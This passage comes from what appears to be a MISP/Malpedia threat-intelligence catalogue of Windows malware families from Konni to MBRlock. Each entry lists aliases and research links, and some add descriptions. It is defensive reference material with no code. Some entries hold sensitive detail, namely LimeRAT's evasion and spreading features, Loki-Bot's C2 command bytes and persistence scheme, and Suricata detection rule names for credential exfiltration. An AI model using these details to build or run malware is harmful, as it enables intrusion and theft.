https://malpedia.caad.fkie.fraunhofer.de/details/win.konni
http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html
https://blog.fortinet.com/2017/08/15/a-quick-look-at-a-new-konni-rat-variant
https://vallejo.cc/2017/07/08/analysis-of-new-variant-of-konni-rat/
http://blog.talosintelligence.com/2017/07/konni-references-north-korean-missile-capabilities.html

KoobFace

The tag is: misp-galaxy:malpedia="KoobFace"

KoobFace is also known as:

Table 1494. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.koobface

Korlia

The tag is: misp-galaxy:malpedia="Korlia"

Korlia is also known as:

Bisonal

Table 1495. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.korlia
https://securitykitten.github.io/2014/11/25/curious-korlia.html
https://camal.coseinc.com/publish/2013Bisonal.pdf
https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/
http://asec.ahnlab.com/tag/Operation%20Bitter%20Biscuit
https://www.rsaconference.com/writable/presentations/file_upload/cle-t04_final_v1.pdf

Kovter

Kovter is a Police Ransomware

Feb 2012 - Police Ransomware Aug 2013 - Became AD Fraud Mar 2014 - Ransomware to AD Fraud malware June 2014 - Distributed from sweet orange exploit kit Dec 2014 - Run affiliated node Apr 2015 - Spread via fiesta and nuclear pack May 2015 - Kovter become fileless 2016 - Malvertising campaign on Chrome and Firefox June 2016 - Change in persistence July 2017 - Nemucod and Kovter was packed together Jan 2018 - Cyclance report on Persistence

The tag is: misp-galaxy:malpedia="Kovter"

Kovter is also known as:

Table 1496. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kovter
https://github.com/ewhitehats/kovterTools/blob/master/KovterWhitepaper.pdf
https://blog.malwarebytes.com/threat-analysis/2015/01/major-malvertising-campaign-hits-sites-with-combined-total-monthly-traffic-of-1-5bn-visitors/
https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/kovter-an-evolving-malware-gone-fileless

KPOT Stealer

The tag is: misp-galaxy:malpedia="KPOT Stealer"

KPOT Stealer is also known as:

Table 1497. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kpot_stealer
https://www.flashpoint-intel.com/blog/malware-campaign-targets-jaxx-cryptocurrency-wallet-users/

Kraken

The tag is: misp-galaxy:malpedia="Kraken"

Kraken is also known as:

Table 1498. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kraken
https://www.bleepingcomputer.com/news/security/kraken-cryptor-ransomware-masquerading-as-superantispyware-security-program/
https://securingtomorrow.mcafee.com/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/
https://www.recordedfuture.com/kraken-cryptor-ransomware/

KrBanker

The tag is: misp-galaxy:malpedia="KrBanker"

KrBanker is also known as:

BlackMoon

Table 1499. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker
https://www.peppermalware.com/2019/03/analysis-of-blackmoon-banking-trojans.html
http://researchcenter.paloaltonetworks.com/2016/05/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/
https://www.proofpoint.com/us/threat-insight/post/Updated-Blackmoon-Banking-Trojan
http://training.nshc.net/ENG/Document/virus/20140305_Internet_Bank_Pharming_-BlackMoon_Ver_1.0_External_ENG.pdf[http://training.nshc.net/ENG/Document/virus/20140305_Internet_Bank_Pharming-_BlackMoon_Ver_1.0_External_ENG.pdf]
https://zairon.wordpress.com/2014/04/15/trojan-banking-47d18761d46d8e7c4ad49cc575b0acc2bb3f49bb56a3d29fb1ec600447cb89a4/

KrDownloader

The tag is: misp-galaxy:malpedia="KrDownloader"

KrDownloader is also known as:

Table 1500. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.krdownloader
https://www.fidelissecurity.com/threatgeek/2017/05/blackmoon-rising-banking-trojan-back-new-framework

Kronos

The tag is: misp-galaxy:malpedia="Kronos"

Kronos is also known as:

Osiris

Table 1501. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kronos
https://www.securonix.com/securonix-threat-research-kronos-osiris-banking-trojan-attack
https://www.proofpoint.com/us/threat-insight/post/kronos-reborn
https://www.zdnet.com/article/security-researcher-malwaretech-pleads-guilty/
https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/
https://www.lexsi.com/securityhub/overview-kronos-banking-malware-rootkit/?lang=en
https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/
https://www.lexsi.com/securityhub/kronos-decrypting-the-configuration-file-and-injects/?lang=en
https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware-p2/
https://www.morphick.com/resources/news/scanpos-new-pos-malware-being-distributed-kronos
https://securityintelligence.com/the-father-of-zeus-kronos-malware-discovered/
https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware
https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware/

KSL0T

A keylogger used by Turla.

The tag is: misp-galaxy:malpedia="KSL0T"

KSL0T is also known as:

Table 1502. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ksl0t
https://0ffset.wordpress.com/2018/10/05/post-0x17-2-turla-keylogger/

Kuaibu

The tag is: misp-galaxy:malpedia="Kuaibu"

Kuaibu is also known as:

Barys
Gofot
Kuaibpy

Table 1503. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kuaibu8

Kuluoz

The tag is: misp-galaxy:malpedia="Kuluoz"

Kuluoz is also known as:

Table 1504. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kuluoz

Kurton

The tag is: misp-galaxy:malpedia="Kurton"

Kurton is also known as:

Table 1505. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kurton
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Kutaki

The tag is: misp-galaxy:malpedia="Kutaki"

Kutaki is also known as:

Table 1506. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kutaki
https://cofense.com/kutaki-malware-bypasses-gateways-steal-users-credentials/

Kwampirs

Kwampirs is a family of malware which uses SMB to spread. It typically will not execute or deploy in environments in which there is no publicly available admin$ share. It is a fully featured backdoor which can download additional modules. Typical C2 traffic is over HTTP and includes "q=[ENCRYPTED DATA]" in the URI.

The tag is: misp-galaxy:malpedia="Kwampirs"

Kwampirs is also known as:

Table 1507. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kwampirs
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia
https://www.securityartwork.es/2019/03/13/orangeworm-group-kwampirs-analysis-update/

Lambert

The tag is: misp-galaxy:malpedia="Lambert"

Lambert is also known as:

Table 1508. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lambert
http://adelmas.com/blog/longhorn.php
https://www.youtube.com/watch?v=jeLd-gw2bWo
https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7
https://securelist.com/blog/research/77990/unraveling-the-lamberts-toolkit/

Lamdelin

The tag is: misp-galaxy:malpedia="Lamdelin"

Lamdelin is also known as:

Table 1509. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lamdelin
http://news.thewindowsclub.com/poorly-coded-lamdelin-lockscreen-ransomware-alt-f4-88576/

LatentBot

The tag is: misp-galaxy:malpedia="LatentBot"

LatentBot is also known as:

Table 1510. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.latentbot
https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html
https://cys-centrum.com/ru/news/module_trojan_for_unauthorized_access
http://malware-traffic-analysis.net/2017/04/25/index.html
https://blog.malwarebytes.com/threat-analysis/2017/06/latentbot/
https://www.cert.pl/news/single/latentbot-modularny-i-silnie-zaciemniony-bot/

Lazarus (Windows)

The tag is: misp-galaxy:malpedia="Lazarus (Windows)"

Lazarus (Windows) is also known as:

Table 1511. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarus
https://www.bleepingcomputer.com/news/security/polish-banks-infected-with-malware-hosted-on-their-own-governments-site/
https://twitter.com/PhysicalDrive0/status/828915536268492800
http://baesystemsai.blogspot.de/2016/05/cyber-heist-attribution.html
https://baesystemsai.blogspot.com/2017/02/lazarus-watering-hole-attacks.html

Laziok

The tag is: misp-galaxy:malpedia="Laziok"

Laziok is also known as:

Table 1512. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.laziok
https://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector
https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=802

LazyCat

The tag is: misp-galaxy:malpedia="LazyCat"

LazyCat is also known as:

Table 1513. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lazycat
https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/

Leash

The tag is: misp-galaxy:malpedia="Leash"

Leash is also known as:

Table 1514. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.leash
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/

Leouncia

The tag is: misp-galaxy:malpedia="Leouncia"

Leouncia is also known as:

shoco

Table 1515. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.leouncia
https://www.rsaconference.com/writable/presentations/file_upload/crwd-t11-hide_and_seek-how_threat_actors_respond_in_the_face_of_public_exposure.pdf
https://www.fireeye.com/blog/threat-research/2010/12/leouncia-yet-another-backdoor-part-2.html
https://www.fireeye.com/blog/threat-research/2010/12/leouncia-yet-another-backdoor.html

Lethic

Lethic is a spambot dating back to 2008. It is known to be distributing low-level pharmaceutical spam.

The tag is: misp-galaxy:malpedia="Lethic"

Lethic is also known as:

Table 1516. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lethic
http://www.malware-traffic-analysis.net/2017/11/02/index.html
http://www.vkremez.com/2017/11/lets-learn-lethic-spambot-survey-of.html
https://www.arbornetworks.com/blog/asert/lethic-spambot-analysis-pills-watches-and-diplomas/
http://resources.infosecinstitute.com/win32lethic-botnet-analysis/

LimeRAT

## Description
Simple yet powerful RAT for Windows machines. This project is simple and easy to understand, It should give you a general knowledge about dotNET malwares and how it behaves.

Main Features

.NET
Coded in Visual Basic .NET, Client required framework 2.0 or 4.0 dependency, And server is 4.0
Connection
Using pastebin.com as ip:port , Instead of noip.com DNS. And Also using multi-ports
Plugin
Using plugin system to decrease stub’s size and lower the AV detection
Encryption
The communication between server & client is encrypted with AES
Spreading
Infecting all files and folders on USB drivers
Bypass
Low AV detection and undetected startup method
Lightweight
Payload size is about 25 KB
Anti Virtual Machines
Uninstall itself if the machine is virtual to avoid scanning or analyzing
Ransomware
Encrypting files on all HHD and USB with .Lime extension
XMR Miner
High performance Monero CPU miner with user idle\active optimizations
DDoS
Creating a powerful DDOS attack to make an online service unavailable
Crypto Stealer
Stealing Cryptocurrency sensitive data
Screen-Locker
Prevents user from accessing their Windows GUI
And more
On Connect Auto Task
Force enable Windows RDP
Persistence
File manager
Passowrds stealer
Remote desktop
Bitcoin grabber
Downloader
Keylogger

The tag is: misp-galaxy:malpedia="LimeRAT"

LimeRAT is also known as:

Table 1517. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat
https://www.youtube.com/watch?v=x-g-ZLeX8GM
https://blog.yoroi.company/research/limerat-spreads-in-the-wild/
https://github.com/NYAN-x-CAT/Lime-RAT/

Limitail

The tag is: misp-galaxy:malpedia="Limitail"

Limitail is also known as:

Table 1518. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.limitail

Listrix

The tag is: misp-galaxy:malpedia="Listrix"

Listrix is also known as:

Table 1519. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.listrix
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group

LiteHTTP

According to AlienVault, LiteHTTP bot is a new HTTP bot programmed in C#. The bot has the ability to collect system information, download and execute programs, and update and kill other bots present on the system.

The source is on GitHub: https://github.com/zettabithf/LiteHTTP

The tag is: misp-galaxy:malpedia="LiteHTTP"

LiteHTTP is also known as:

Table 1520. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.litehttp
https://github.com/zettabithf/LiteHTTP
https://malware.news/t/recent-litehttp-activities-and-iocs/21053

LockerGoga

The tag is: misp-galaxy:malpedia="LockerGoga"

LockerGoga is also known as:

Table 1521. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lockergoga
https://www.nrk.no/norge/skreddersydd-dobbeltangrep-mot-hydro-1.14480202
https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
https://www.abuse.io/lockergoga.txt
https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880
https://www.youtube.com/watch?v=o6eEN0mUakM
https://www.helpnetsecurity.com/2019/04/02/aurora-decrypter-mira-decrypter/
https://www.bleepingcomputer.com/news/security/new-lockergoga-ransomware-allegedly-used-in-altran-attack/

Locky

The tag is: misp-galaxy:malpedia="Locky"

Locky is also known as:

Table 1522. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.locky
http://securityaffairs.co/wordpress/49094/malware/zepto-ransomware.html
https://blog.malwarebytes.com/threat-analysis/2017/01/locky-bart-ransomware-and-backend-server-analysis/
https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-the-lukitus-extension-for-encrypted-files/
http://blog.talosintelligence.com/2017/06/necurs-locky-campaign.html
https://blog.botfrei.de/2017/08/weltweite-spamwelle-verbreitet-teufliche-variante-des-locky/
https://www.bleepingcomputer.com/news/security/locky-ransomware-returns-but-targets-only-windows-xp-and-vista/
https://blog.malwarebytes.com/threat-analysis/2016/03/look-into-locky/
https://www.cylance.com/en_us/blog/threat-spotlight-locky-ransomware.html

Locky (Decryptor)

The tag is: misp-galaxy:malpedia="Locky (Decryptor)"

Locky (Decryptor) is also known as:

Table 1523. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_decryptor

Locky Loader

For the lack of a better name, this is a VBS-based loader that was used in beginning of 2018 to deliver win.locky.

The tag is: misp-galaxy:malpedia="Locky Loader"

Locky Loader is also known as:

Table 1524. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_loader

LockPOS

The tag is: misp-galaxy:malpedia="LockPOS"

LockPOS is also known as:

Table 1525. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lock_pos
https://www.arbornetworks.com/blog/asert/lockpos-joins-flock/
https://www.cylance.com/en_us/blog/threat-spotlight-lockpos-point-of-sale-malware.html
https://www.cyberbit.com/new-lockpos-malware-injection-technique/

Loda

Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as “Trojan.Nymeria”, although the connection is not well-documented.

The tag is: misp-galaxy:malpedia="Loda"

Loda is also known as:

Nymeria

Table 1526. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.loda
https://www.proofpoint.com/us/threat-insight/post/introducing-loda-malware
https://zerophagemalware.com/2018/01/23/maldoc-rtf-drop-loda-logger/

Logedrut

The tag is: misp-galaxy:malpedia="Logedrut"

Logedrut is also known as:

Table 1527. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.logedrut
https://researchcenter.paloaltonetworks.com/2016/09/mile-tea-cyber-espionage-campaign-targets-asia-pacific-businesses-and-government-agencies/

LogPOS

The tag is: misp-galaxy:malpedia="LogPOS"

LogPOS is also known as:

Table 1528. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.logpos
https://securitykitten.github.io/2015/11/16/logpos-new-point-of-sale-malware-using-mailslots.html

LoJax

The tag is: misp-galaxy:malpedia="LoJax"

LoJax is also known as:

Table 1529. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lojax
https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf

Loki Password Stealer (PWS)

"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMe

Loki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.

Loki-Bot accepts a single argument/switch of ‘-u’ that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.

The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: “B7E1C2CC98066B250DDB2123“.

Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: “%APPDATA%\ C98066\”.

There can be four files within the hidden %APPDATA% directory at any given time: “.exe,” “.lck,” “.hdb” and “.kdb.” They will be named after characters 13 thru 18 of the Mutex. For example: “6B250D.” Below is the explanation of their purpose:

FILE EXTENSION FILE DESCRIPTION .exe A copy of the malware that will execute every time the user account is logged into .lck A lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts .hdb A database of hashes for data that has already been exfiltrated to the C2 server .kdb A database of keylogger data that has yet to be sent to the C2 server

If the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.

The first packet transmitted by Loki-Bot contains application data.

The second packet transmitted by Loki-Bot contains decrypted Windows credentials.

The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.

Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.

The first WORD of the HTTP Payload represents the Loki-Bot version.

The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:

BYTE PAYLOAD TYPE 0x26 Stolen Cryptocurrency Wallet 0x27 Stolen Application Data 0x28 Get C2 Commands from C2 Server 0x29 Stolen File 0x2A POS (Point of Sale?) 0x2B Keylogger Data 0x2C Screenshot

The 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically “ckav.ru”. If you come across a Binary ID that is different from this, take note!

Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.

The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot’s C2 infrastructure.

Loki-Bot can accept the following instructions from the C2 Server:

BYTE INSTRUCTION DESCRIPTION 0x00 Download EXE & Execute 0x01 Download DLL & Load #1 0x02 Download DLL & Load #2 0x08 Delete HDB File 0x09 Start Keylogger 0x0A Mine & Steal Data 0x0E Exit Loki-Bot 0x0F Upgrade Loki-Bot 0x10 Change C2 Polling Frequency 0x11 Delete Executables & Exit

Suricata Signatures RULE SID RULE NAME 2024311 ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected 2024312 ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1 2024313 ET TROJAN Loki Bot Request for C2 Commands Detected M1 2024314 ET TROJAN Loki Bot File Exfiltration Detected 2024315 ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1 2024316 ET TROJAN Loki Bot Screenshot Exfiltration Detected 2024317 ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2 2024318 ET TROJAN Loki Bot Request for C2 Commands Detected M2 2024319 ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2

The tag is: misp-galaxy:malpedia="Loki Password Stealer (PWS)"

Loki Password Stealer (PWS) is also known as:

Loki
LokiBot
LokiPWS

Table 1530. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws
https://isc.sans.edu/diary/24372
https://github.com/R3MRUM/loki-parse
http://www.malware-traffic-analysis.net/2017/06/12/index.html
https://www.lastline.com/blog/password-stealing-malware-loki-bot/
https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file
http://blog.fernandodominguez.me/lokis-antis-analysis/
https://phishme.com/loki-bot-malware/
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/
https://r3mrum.wordpress.com/2017/05/07/loki-bot-atrifacts/
https://securelist.com/loki-bot-stealing-corporate-passwords/87595/
https://cysinfo.com/nefarious-macro-malware-drops-loki-bot-across-gcc-countries/
https://github.com/d00rt/hijacked_lokibot_version/blob/master/doc/LokiBot_hijacked_2018.pdf
https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850

Lordix

The tag is: misp-galaxy:malpedia="Lordix"

Lordix is also known as:

Table 1531. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lordix
https://twitter.com/hexlax/status/1058356670835908610

LOWBALL

LOWBALL, uses the legitimate Dropbox cloud-storage service to act as the CnC server. It uses the Dropbox API with a hardcoded bearer access token and has the ability to download, upload, and execute files. The communication occurs via HTTPS over port 443.

The tag is: misp-galaxy:malpedia="LOWBALL"

LOWBALL is also known as:

Table 1532. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lowball
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

Luminosity RAT

The tag is: misp-galaxy:malpedia="Luminosity RAT"

Luminosity RAT is also known as:

Table 1533. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.luminosity_rat
http://malwarenailed.blogspot.com/2016/07/luminosity-rat-re-purposed.html
https://researchcenter.paloaltonetworks.com/2018/02/unit42-rat-trapped-luminositylink-falls-foul-vermin-eradication-efforts/
https://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/
https://krebsonsecurity.com/2018/07/luminositylink-rat-author-pleads-guilty/
https://umbrella.cisco.com/blog/2017/01/18/finding-the-rats-nest/
https://www.proofpoint.com/us/threat-insight/post/Light-After-Dark
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

LunchMoney

An uploader that can exfiltrate files to Dropbox.

The tag is: misp-galaxy:malpedia="LunchMoney"

LunchMoney is also known as:

Table 1534. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lunchmoney
https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html
https://twitter.com/MrDanPerez/status/1097881406661902337

Lurk

The tag is: misp-galaxy:malpedia="Lurk"

Lurk is also known as:

Table 1535. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lurk
https://www.secureworks.com/research/malware-analysis-of-the-lurk-downloader

Luzo

The tag is: misp-galaxy:malpedia="Luzo"

Luzo is also known as:

Table 1536. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.luzo

Lyposit

The tag is: misp-galaxy:malpedia="Lyposit"

Lyposit is also known as:

Adneukine
Bomba Locker
Lucky Locker

Table 1537. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lyposit
http://malware.dontneedcoffee.com/2012/11/inside-view-of-lyposit-aka-for-its.html
https://blog.avast.com/2013/05/20/lockscreen-win32lyposit-displayed-as-a-fake-macos-app/
http://malware.dontneedcoffee.com/2013/05/unveiling-locker-bomba-aka-lucky-locker.html

Machete

The tag is: misp-galaxy:malpedia="Machete"

Machete is also known as:

El Machete

Table 1538. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.machete
https://securelist.com/el-machete/66108/
https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html
https://medium.com/@verovaleros/el-machete-what-do-we-know-about-the-apt-targeting-latin-america-be7d11e690e6

MadMax

The tag is: misp-galaxy:malpedia="MadMax"

MadMax is also known as:

Table 1539. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.madmax
https://www.arbornetworks.com/blog/asert/mad-max-dga/

Magala

The tag is: misp-galaxy:malpedia="Magala"

Magala is also known as:

Table 1540. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.magala
https://securelist.com/the-magala-trojan-clicker-a-hidden-advertising-threat/78920/

Magniber

The tag is: misp-galaxy:malpedia="Magniber"

Magniber is also known as:

Table 1541. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.magniber
https://blog.malwarebytes.com/threat-analysis/2017/10/magniber-ransomware-exclusively-for-south-koreans/
https://www.youtube.com/watch?v=lqWJaaofNf4
http://asec.ahnlab.com/1124

MajikPos

The tag is: misp-galaxy:malpedia="MajikPos"

MajikPos is also known as:

Table 1542. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.majik_pos
http://blog.trendmicro.com/trendlabs-security-intelligence/majikpos-combines-pos-malware-and-rats/

Makadocs

The tag is: misp-galaxy:malpedia="Makadocs"

Makadocs is also known as:

Table 1543. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.makadocs
http://contagiodump.blogspot.com/2012/12/nov-2012-backdoorw32makadocs-sample.html
https://www.symantec.com/connect/blogs/malware-targeting-windows-8-uses-google-docs

MakLoader

The tag is: misp-galaxy:malpedia="MakLoader"

MakLoader is also known as:

Table 1544. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.makloader
https://twitter.com/James_inthe_box/status/1046844087469391872

Maktub

The tag is: misp-galaxy:malpedia="Maktub"

Maktub is also known as:

Table 1545. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.maktub
https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/
https://bartblaze.blogspot.de/2018/04/maktub-ransomware-possibly-rebranded-as.html
https://blog.malwarebytes.com/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/

MalumPOS

The tag is: misp-galaxy:malpedia="MalumPOS"

MalumPOS is also known as:

Table 1546. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.malumpos
http://documents.trendmicro.com/images/tex/pdf/MalumPOS%20Technical%20Brief.pdf

Mamba

The tag is: misp-galaxy:malpedia="Mamba"

Mamba is also known as:

DiskCryptor
HDDCryptor

Table 1547. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mamba
https://securelist.com/the-return-of-mamba-ransomware/79403/
http://blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/

ManameCrypt

The tag is: misp-galaxy:malpedia="ManameCrypt"

ManameCrypt is also known as:

CryptoHost

Table 1548. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.manamecrypt
https://www.bleepingcomputer.com/news/security/cryptohost-decrypted-locks-files-in-a-password-protected-rar-file/
https://www.gdatasoftware.com/blog/2016/04/28234-manamecrypt-a-ransomware-that-takes-a-different-route

Mangzamel

The tag is: misp-galaxy:malpedia="Mangzamel"

Mangzamel is also known as:

junidor
mengkite
vedratve

Table 1549. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel
https://www.hybrid-analysis.com/sample/5d631d77401615d53f3ce3dbc2bfee5d934602dc35d488aa7cebf9b3ff1c4816?environmentId=2

Manifestus

The tag is: misp-galaxy:malpedia="Manifestus"

Manifestus is also known as:

Table 1550. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.manifestus_ransomware
https://twitter.com/struppigel/status/811587154983981056

ManItsMe

The tag is: misp-galaxy:malpedia="ManItsMe"

ManItsMe is also known as:

Table 1551. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.manitsme
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

MAPIget

The tag is: misp-galaxy:malpedia="MAPIget"

MAPIget is also known as:

Table 1552. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mapiget
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Marap

Marap is a downloader, named after its command and control (C&C) phone home parameter "param" spelled backwards. It is written in C and contains a few notable anti-analysis features.

The tag is: misp-galaxy:malpedia="Marap"

Marap is also known as:

Table 1553. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.marap
https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-prepare-more-part-1-marap

Matrix Banker

The tag is: misp-galaxy:malpedia="Matrix Banker"

Matrix Banker is also known as:

Table 1554. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_banker
https://www.arbornetworks.com/blog/asert/another-banker-enters-matrix/

Matrix Ransom

The tag is: misp-galaxy:malpedia="Matrix Ransom"

Matrix Ransom is also known as:

Table 1555. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_ransom
https://www.blackhoodie.re/assets/archive/Matrix_Ransomware_blackhoodie.pdf

Matryoshka RAT

The tag is: misp-galaxy:malpedia="Matryoshka RAT"

Matryoshka RAT is also known as:

Table 1556. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matryoshka_rat
http://www.clearskysec.com/tulip/
https://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf

Matsnu

The tag is: misp-galaxy:malpedia="Matsnu"

Matsnu is also known as:

Table 1557. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matsnu
https://blog.checkpoint.com/wp-content/uploads/2015/07/matsnu-malwareid-technical-brief.pdf

MBRlock

This ransomware modifies the master boot record of the victim's computer so that it shows a ransom note before Windows starts.

